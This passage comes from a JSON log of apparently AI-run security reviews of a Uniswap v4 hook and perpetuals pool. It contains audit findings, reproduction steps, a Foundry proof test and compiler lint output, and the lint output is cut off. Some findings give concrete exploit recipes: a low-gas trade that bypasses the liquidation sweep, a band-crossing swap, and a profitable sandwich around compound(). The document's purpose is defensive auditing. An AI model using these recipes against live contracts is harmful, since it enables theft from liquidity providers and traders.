and the pool is permanently behind a hook that needs Uniswap's manual allowlisting. The search that produced the instance (iterate (eoa, nonce), compute the launch address and the pool address CREATE(launch, 1), hash the hook creation code with those arguments, run the same mining loop, test the top byte) is in test/scratch/Prefix91.t.sol; it finds a hit within a few hundred nonces, i.e. at the expected 1/256 rate. The hit depends on the exact hook creation code, so a different compiler produces a different (eoa, nonce) with the same frequency (solc 0.8.30: nonce 344, hook 0x9187D6E94AB782251975E29166e3B16086A26ac0).","severity":"low","snippet":"                if eq(and(keccak256(add(ptr, 11), 85), 0x3fff), flags) {","title":"Salt mining only fixes the low 14 bits: about 1 launch in 256 lands the hook on a 0x91… address, which Uniswap's router does not pick up automatically and the launch cannot be redone"},{"citation":"resolved","description":"The hook's documented policy is that a pre-trade sweep that cannot run reverts the trade ('NO BAD DEBT outranks always-tradeable'; sweepFailOpen is the owner's only escape hatch). The funded branch (gasleft > 980k) honours it: a call that fails or returns fewer than 32 bytes reverts with SweepUnavailable unless sweepFailOpen is set. The starved branch (gasleft <= 980k at _beforeSwap) consults openCount() instead and reverts only when that staticcall succeeds AND decodes to a non-zero count: a revert, an empty return (an engine address with no code) or a short return is treated as 'no open positions' and the trade proceeds with no sweep at all. The trader picks the transaction's gas limit, so the trader chooses which branch runs. The engine is replaceable (setPerpEngine) and the state 'engine set but unable to answer' is exactly the state the fail-closed rule is written for; in it, every trade can still be pushed through by sending it with ~900k gas, leaving open positions unliquidated through whatever price the trade moves to. The fix is to make the two branches agree: in the starved branch, treat `!ok || ret.length < 32` like the funded branch does (revert SweepUnavailable unless sweepFailOpen). Note: an openCount() that runs out of gas does not open the gap, since the 63/64 rule leaves too little gas for the swap to finish (tested; the swap reverts).","line":460,"path":"src/IMD6900PerpHook.sol","reproduction":"Against the repository's fixture (test/IMD6900Perps.t.sol: real PoolManager, pool opened at 1e9 coin/ETH with 2 ETH): (1) owner calls hook.setPerpEngine(E) where E is a contract whose fallback reverts (`revert(\"engine down\")`), or E = 0x000000000000000000000000000000000000dEaD (no code). (2) trader.swap(key, true, -0.001 ether) with the default gas: reverts (SweepUnavailable wrapped by the PoolManager) as documented. (3) the same trader.swap{gas: 900_000}(key, true, -0.001 ether): succeeds, returns amount1 > 0, pool liquidity unchanged, no sweep attempted. Expected: (3) reverts like (2) (or the owner has set sweepFailOpen); actual: (3) trades. test/scratch/StarvedSweep.t.sol: test_FundedTradeFailsClosed, test_StarvedTradeFailsOpen and test_StarvedTradeFailsOpenWithNoCodeEngine pass on the current code, demonstrating the asymmetry.","severity":"low","snippet":"            (bool ok, bytes memory ret) = engine.staticcall(abi.encodeCall(IPerpSweep.openCount, ()));\n            if (ok && ret.length >= 32 && abi.decode(ret, (uint256)) != 0) revert SweepGasStarved();","title":"A gas-starved transaction turns the fail-closed pre-trade sweep into fail-open: when the engine's openCount() reverts or the engine has no code, the trade runs unswept, while the same trade with norma"},{"citation":"resolved","description":"skimBps is written by setSkim (line 238) and read nowhere; the FeeTaken event and ExactOutSellUnsupported error are likewise never used. The NatSpec on setSkim ('How much of an arbitrageur's profit this pool keeps') and on IMD6900PerpPool.compound ('the coin the hook skimmed from arbitrageurs') describe a mechanism of the predecessor hook that this version deliberately dropped (header, lines 90-95: 'the hook no longer charges anything itself'). The only live effect of setSkim is maxDeviationBps. This is not a loss of funds, but an owner (later a timelock proposal) reading the interface would believe a skim can be tuned, and an integrator modelling the pool's revenue from the ABI would be wrong. Either remove skimBps/FeeTaken/ExactOutSellUnsupported and reword the two comments, or make setSkim take only the band.","line":133,"path":"src/IMD6900PerpHook.sol","reproduction":"Owner calls hook.setSkim(10000, 3000) (skim 100%), then an arbitrageur swaps against the pool while it sits 25% from the Pons price (e.g. vm.mockCall the curve's getReserves to (1 ether, 8e26) in the fixture, whose pool opened at 1e9 coin/ETH, then trader.swap(key, true, -0.01 ether)). Expected per the NatSpec: part of the arbitrageur's profit is kept by the pool and a FeeTaken event fires; actual: the trade pays exactly the pool's 1% static LP fee, the hook's balance and the pool's pending() are unchanged, no FeeTaken event exists in the logs, and hook.skimBps() == 10000 has had no effect.","severity":"info","snippet":"    uint256 public skimBps = 9_000;","title":"skimBps and setSkim configure a skim that no code implements: the owner's setter changes nothing the hook does, and the pool's compound() documentation describes coin 'the hook skimmed from arbitrageu"}],"hash":"aa80f3c42f1635d5fc58b4be61570488310544e42ba719472e75f363cd62c4af","nodeId":"7bf53584-957d-43c9-8cc3-6d54b813aaf8","outcome":"completed","summary":"The review is complete. The findings file is valid JSON at the repository root, no tracked file was changed, and the only other writes are under test/scratch/, which is ignored.\n\n**What I reviewed.** The launch constructor, the hook and the pool, traced from the Execution Trace, Periphery and First Principles guides, plus the vendored periphery they trust (Hooks flag validation, ImmutableState's PoolManager guard, solady's Ownable, ReentrancyGuard and SafeTransferLib, and v4-core's initialize, swap and settle paths). The offline suite builds and passes with solc 0.8.26, and the fork suite skips without an RPC.\n\n**Findings written to `.imd-findings.json`** (three, none critical or high, so no proof files were attached):\n\n- **Low, salt mining ignores the 0x91 prefix.** The miner only constrains the low 14 bits. Uniswap's hook-allowlist page, and the hook's own header, say a hook at a 0x91… address is not routed automatically, which defeats the brief's reason for choosing these flags. One launch in 256 hits it, and the result is immutable. I found a concrete instance for the 0.8.26 build: deploying from EOA 0x1234 at nonce 287 puts the hook at 0x91678D5e…, verified by actually deploying it.\n- **Low, the pre-trade sweep fails open under low gas.** With normal gas, an engine that cannot answer makes the trade revert, as the \"no bad debt\" policy requires. With a 900k gas limit the hook consults `openCount()` instead and treats a revert or an empty return as \"no positions\", so the same trade runs unswept. Reproduced with a reverting engine and with a no-code engine address. The out-of-gas variant does not bypass the guard, and I say so in the finding.\n- **Info, dead skim configuration.** `skimBps` and `setSkim` configure a skim that no code implements, while two comments still describe one.\n\n**Coverage.** All 39 listed entry points have a row, plus the launch constructor, two invariants, and one honest unreached row for things only a fork can check: the coin's transfer behaviour toward the PoolManager, whether Pons' reserves are the marginal price, and whether the launcher wired as fee sink accepts `addFees()`.\n\nSources used for the routing claim: [Uniswap v4 Hooks Routing Allowlist](https://developers.uniswap.org/hook-allowlist).","treeHash":null,"usage":{"cachedInputTokens":1648112,"inputTokens":386,"model":"claude-fable-5-1","outputTokens":55433,"runtime":"claude","turns":41,"wallClockMs":917304}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"ddcecd7483f623f7","findings":[{"citation":"resolved","description":"Seam: boundary x invariant. The band's documented guarantee (line 134-135 and 420-421: 'A swap that would leave it further out than this is refused — unless it moves the price closer') is enforced by comparing two unsigned relative distances, _deviation() = |pool - ref| * 10000 / ref. The sign of (pool - ref) is discarded, so a trade that starts on one side of the Pons price, crosses it, and ends on the OTHER side still outside maxDeviationBps is accepted whenever the new bps distance is numerically smaller than the old one. Whenever the pool is already more than maxDeviationBps away from Pons (which happens without any privileged action: the Pons bonding curve is its own market and anyone trading there moves the reference, as test/RobinhoodFlow.fork.t.sol:204 demonstrates with a 1.5 ETH Pons buy), a single unprivileged swap may move the pool's price by almost 2x the deviation in one go, e.g. from 1.5x Pons to 0.55x Pons (a 63% price move), or from 0.5x Pons to 1.45x Pons (a 190% move), and leave it 45% / 35% from the reference. The pool price is the perps mark (README: 'the price it keeps near is the coin's own market on Pons'; the engine marks positions against this pool), so the band's only purpose, bounding how far a trade can move the mark away from Pons, fails exactly in the state where it matters most. Without the sign bug the reachable range from +50% would be [-30%, +50%]; with it, [-49.99%, +50%]. Minimal fix that preserves the intended behaviour: compute devBefore/devAfter as signed values (or remember the side in the transient slot) and refuse when devAfter > maxDeviationBps unless the trade both reduced the magnitude AND did not cross the reference; equivalently allow a correction to stop at most maxDeviationBps past the reference.","line":427,"path":"src/IMD6900PerpHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract Coin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// A Pons bonding curve whose reserves move (Pons is a market of its own: anyone trades it)\ncontract Curve {\n    uint256 public q; uint256 public t; address public token;\n    constructor(address token_, uint256 q_, uint256 t_) { token = token_; q = q_; t = t_; }\n    function set(uint256 q_, uint256 t_) external { q = q_; t = t_; }\n    function getReserves() external view returns (uint256, uint256) { return (q, t); }\n    function graduated() external pure returns (bool) { return false; }\n    function pairToken() external pure returns (address) { return address(0); }\n    function factory() external pure returns (address) { return address(0); }\n}\n\ncontract Trader {\n    IPoolManager immutable pm; PoolKey key;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external payable returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return abi.encode(d);\n    }\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) { pm.settle{value: uint128(-v)}(); }\n            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }\n        } else if (v > 0) { pm.take(c, address(this), uint128(v)); }\n    }\n    receive() external payable {}\n}\n\n/// Fails on the current hook: one swap crosses the Pons price and is left outside the band on the far side.\ncontract BandOvershootProof is Test {\n    IPoolManager PM;\n    address constant OWNER = address(0xA11CE);\n    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; Curve curve; Trader trader;\n\n    function setUp() public {\n        PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook(); pool = l.pool();\n        coin = new Coin();\n        curve = new Curve(address(coin), 1 ether, 1e27); // 1e9 coin per ETH\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27);\n        vm.stopPrank();\n        trader = new Trader(PM);\n        vm.deal(address(trader), 10 ether);\n        coin.mint(address(trader), 3e27);\n        vm.prank(address(trader));\n        coin.approve(address(trader), type(uint256).max);\n    }\n\n    function test_BuyFromAboveTheBandMayNotLandOutsideItBelow() public {\n        curve.set(1 ether, uint256(1e27) * 2 / 3); // Pons moved: this pool is now ~50% above the Pons price\n        assertGt(hook.deviationBps(), hook.maxDeviationBps());\n        assertGt(hook.poolPriceX96(), hook.ponsPriceX96());\n        // a 1.32 ETH buy into 2 ETH of depth shoots through the Pons price and ends ~45% below it\n        try trader.swap(pool.poolKey(), true, -1.32 ether) {\n            // if the band let it through, it must at least have left the pool within the band\n            assertLe(hook.deviationBps(), hook.maxDeviationBps(), \"a swap crossed Pons and was left outside the band\");\n        } catch {}\n    }\n\n    function test_SellFromBelowTheBandMayNotLandOutsideItAbove() public {\n        curve.set(1 ether, 2e27); // Pons moved the other way: this pool is ~50% below the Pons price\n        assertGt(hook.deviationBps(), hook.maxDeviationBps());\n        assertLt(hook.poolPriceX96(), hook.ponsPriceX96());\n        try trader.swap(pool.poolKey(), false, -int256(1.3e27)) {\n            assertLe(hook.deviationBps(), hook.maxDeviationBps(), \"a swap crossed Pons and was left outside the band\");\n        } catch {}\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint160 z) {\n        uint256 r = x; uint256 y = (x + 1) / 2;\n        while (y < r) { r = y; y = (x / y + y) / 2; }\n        z = uint160(r);\n    }\n\n    receive() external payable {}\n}","reproduction":"Offline against the vendored v4 PoolManager (test/scratch/BandOvershoot.t.sol in this review's tree): launch IMD6900PerpsLaunch(PM, 10000, OWNER, OWNER); owner opens the pool with 2 ETH and 2e27 coin at sqrt(1e9)<<96 against a curve with reserves (1 ether, 1e27) so deviation is ~0. 1) Move the Pons reference: curve reserves become (1 ether, 6.67e26) (Pons buy made the coin dearer), hook.deviationBps() == 4999 (> maxDeviationBps 3000). 2) An ordinary trader swaps zeroForOne exact-in 1.32 ETH (no engine, no exemption). EXPECTED per the documented band: revert TooFarFromPons, since the pool is left 45% from Pons and the trade did not bring it toward the reference but shot through it. ACTUAL: the swap succeeds; afterwards hook.poolPriceX96() < hook.ponsPriceX96() (crossed to the other side) and hook.deviationBps() == 4513 > 3000. Symmetric case: curve reserves (1 ether, 2e27) gives deviation 5000 below; a sell of 1.3e27 coin succeeds and leaves the pool at 3505 bps ABOVE Pons. Both tests pass on the current code; on a sign-aware band both swaps revert with TooFarFromPons.","severity":"medium","snippet":"        if (devAfter > maxDeviationBps && devAfter > devBefore) revert TooFarFromPons();","title":"Band accepts a swap that crosses the Pons price and lands outside the band on the far side (|pool-ref|/ref compares magnitudes only, not sides)"},{"citation":"resolved","description":"Seam: boundary x invariant (outside the assigned math area, reported because it is reproducible). compound() turns the ETH and coin the contract holds into protocol-owned liquidity at the pool's current spot price. Its only guards are minimum HELD balances (minEth / minTokens), which bound nothing about the price, and the hook's band, which tolerates a 30% gap to Pons. Anyone can therefore, in one transaction, push the pool toward the edge of the band, call compound() so the protocol's own balances are deposited at that mispriced ratio, and trade back against the now deeper pool. The attacker's gain is the impermanent loss of the freshly added liquidity minus the 1% pool fee on both legs. With the fee going to the same position the numbers only cross zero when the pending balance is a large fraction of the depth: with 2 ETH / 2e27 coin of depth and 0.2 ETH / 2e26 pending (10%), the sandwich still loses 0.0025 ETH (vs 0.0056 ETH lost by the same round trip without the compound); with 2 ETH / 2e27 pending (100% of depth) the attacker nets +0.0131 ETH, i.e. 0.65% of what was compounded, and the pool is worse off by about 0.019 ETH than had it not been compounded during the push. The pending balance is normally a trickle (10% of the coin's creator fees, the hook's stray ETH), so the realistic exposure is small, but the owner's own top-ups to the pool (README step 2 and the fork test release 1,000,000 coin and the harvested fee share to it before compound) make the state reachable. Minimal fix preserving the design: refuse compound() while hook.deviationBps() exceeds a tight threshold (a few percent) or restrict it to the owner / a trusted keeper; the same check would also cover addLiquidity() donors.","line":169,"path":"src/IMD6900PerpPool.sol","reproduction":"Offline, IMD6900PerpsFixture (test/IMD6900Perps.t.sol: 2 ETH + 2e27 coin opened at 1e9 coin/ETH, curve (1 ether, 1e27)). Give the pool a pending balance equal to its depth: vm.deal(pool, 2 ether), coin.mint(pool, 2e27). Attacker (Trader, holds 10 ETH): 1) swap zeroForOne exact-in 0.3 ETH -> hook.deviationBps() == 2419 (accepted, < 3000). 2) pool.compound(0, 0) -> adds 5.5e22 liquidity at that price. 3) sell back exactly the coin bought in step 1. Value the attacker's ETH + coin/1e9 before and after: +13088403844607638 wei (+0.0131 ETH). Control, identical steps without step 2: -5589329694903729 wei (-0.0056 ETH, the fees). EXPECTED: compounding the pool's own funds cannot be made to pay an attacker; ACTUAL: the attacker profits from the compounded liquidity's mispricing. Scratch test used: test/scratch/CompoundSandwich.t.sol in this review's tree (not kept).","severity":"low","snippet":"        if (ethHave < minEth || tokensHave < minTokens) revert ZeroLiquidity();\n        (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolKey().toId());\n        liq = _fullRangeLiquidity(sqrtPriceX96, ethHave, tokensHave);","title":"compound() is permissionless and prices the pool's own pending balances at whatever the spot price is, so it can be sandwiched inside the 30% band for a profit when the pending balance is comparable t"}],"hash":"eac4379b0899205b32b9633e16d2bc52f1774f512ca54cf93221df6c0ea035cc","nodeId":"448ccc31-0dd3-4efc-a91b-e05e9204e924","outcome":"completed","summary":"The review is complete and `.imd-findings.json` holds two findings plus a 44-row coverage record. Nothing under `src/`, `test/` (outside scratch) or any configuration was changed.\n\n**What I found**\n\n- **Medium, band overshoot** at `src/IMD6900PerpHook.sol:427`. The band compares unsigned bps distances only, so a swap can cross the Pons price and end on the other side still outside the band. Reproduced offline: with the pool 50% above Pons, one 1.32 ETH buy lands it 45% below (deviation 4999 to 4513 bps, accepted). The mirror case lands 35% above from 50% below. This carries a proof test that fails on the current code for that reason and passes once the band refuses crossings that end outside it.\n- **Low, compound sandwich** at `src/IMD6900PerpPool.sol:169`. The min arguments bound held balances, not the price, so anyone can push the pool toward the band edge, compound the pool's own pending funds at that price and trade back. It only turns profitable when pending is comparable to the pool's depth, so it is reported as low with the measured numbers. This is outside the math area but reproducible.\n\n**What holds**\n\n- The full-range liquidity formula never asks v4 for more than was given and is within two liquidity units of the maximum, confirmed by a 3,000-run fuzz against v4's round-up math over the whole reachable price range.\n- Fee netting in `unlockCallback`, principal-only refunds, removal paying principal plus fees, the CREATE2 preimage layout in the salt miner, the fee metadata derivation and the reference price scaling all traced clean.\n- Leads not promoted: the two pending static-analysis equality and unused-return lines are benign here, and `open` at the exact tick-range bounds reverts in FullMath with no data, which is an owner-only input with no state change and is noted in the coverage row instead of reported.\n\n**Scope note:** the live Pons ABI, the fee sink contract and deployment-service gas policy cannot be verified offline, as the repository already states. The fork suite skipped because no RPC was set.","treeHash":null,"usage":{"cachedInputTokens":2434600,"inputTokens":578,"model":"claude-fable-5-1","outputTokens":59410,"runtime":"claude","turns":37,"wallClockMs":1097757}}],"verification":[{"checks":[{"durationMs":25644,"exitCode":0,"name":"build","output":"Compiling 86 files with Solc 0.8.26\nSolc 0.8.26 finished in 25.52s\nCompiler run successful!\nwarning[encode-packed-collision]: `abi.encodePacked()` called with multiple dynamic type arguments; hash collisions possible\n   ╭▸ src/IMD6900PerpsLaunch.sol:38:29\n   │\n38 │           bytes memory init = abi.encodePacked(\n   │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n39 │ ┃             type(IMD6900PerpHook).creationCode, abi.encode(poolManager, address(p), feeAddress, owner, poolFee)\n40 │ ┃         );\n   │ ┗━━━━━━━━━┛\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/encode-packed-collision\n\nwarning[uninitialized-local]: local variable is read before being initialized\n   ╭▸ src/IMD6900PerpsLaunch.sol:74:14\n   │\n74 │         if (!found) revert NoSalt();\n   │              ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:77:25\n   │\n77 │     function setFeeSink(address feeSink_) external onlyOwner {\n   │                         ━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/IMD6900PerpPool.sol:79:9\n   │\n79 │         emit FeeSinkSet(feeSink_);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-events-access-control]: `feeAddress` is changed without an event but is used for access control\n    ╭▸ src/IMD6900PerpHook.sol:259:9\n    │\n259 │         feeAddress = launcher;\n    │         ━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:93:22\n   │\n93 │     function setHook(address hook_) external onlyOwner {\n   │                      ━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/IMD6900PerpPool.sol:96:9\n   │\n96 │         emit HookSet(hook_);\n   │         ━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:99:28\n   │\n99 │     function setPerpEngine(address engine) external onlyOwner {\n   │                            ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:101:9\n    │\n101 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:116:9\n    │\n116 │         SafeTransferLib.forceSafeTransferETH(ethTo, eth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:174:44\n    │\n174 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                            ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:174:63\n    │\n174 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:106:95\n    │\n106 │     function removeLiquidity(uint128 liq, address ethTo, address tokensTo) external onlyOwner nonReentrant {\n    │                                                                                               ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:113:21\n    │\n113 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:215:9\n    │\n215 │         emit FeeLowered(newFeeBps);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:118:9\n    │\n118 │         emit LiquidityRemoved(liq, eth, tokens, ethTo, tokensTo);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:113:67\n    │\n113 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:220:9\n    │\n220 │         emit PerpFeeSet(bps);\n    │         ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:225:28\n    │\n225 │     function setPerpEngine(address engine) external onlyOwner {\n    │                            ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:227:9\n    │\n227 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:232:9\n    │\n232 │         emit SweepFailOpenSet(on);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:240:9\n    │\n240 │         emit SkimSet(skimBps_, maxDeviationBps_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:128:9\n    │\n128 │         nonReentrant\n    │         ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:245:9\n    │\n245 │         emit FeeExemptSet(caller, exempt);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:248:31\n    │\n248 │     function updateFeeAddress(address feeAddress_) external onlyOwner {\n    │                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:251:9\n    │\n251 │         emit FeeAddressUpdated(feeAddress_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:124:35\n    │\n124 │     function open(address token_, address curve_, uint160 sqrtPriceX96, uint256 tokenAmount)\n    │                                   ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:124:19\n    │\n124 │     function open(address token_, address curve_, uint160 sqrtPriceX96, uint256 tokenAmount)\n    │                   ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:141:9\n    │\n141 │         emit Opened(sqrtPriceX96, ethIn, tokensIn, liq);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:135:9\n    │\n135 │         poolManager.initialize(poolKey(), sqrtPriceX96);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:155:32\n    │\n155 │         if (msg.value > ethIn) SafeTransferLib.forceSafeTransferETH(refundTo, msg.value - ethIn);\n    │                                